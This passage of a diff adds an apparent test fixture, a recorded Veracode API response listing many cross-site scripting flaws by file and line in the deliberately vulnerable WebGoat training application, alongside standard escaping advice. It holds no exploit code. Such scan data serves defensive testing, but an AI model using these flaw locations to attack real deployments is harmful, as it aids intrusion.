+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:15:32 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:16:15 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:16:15 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
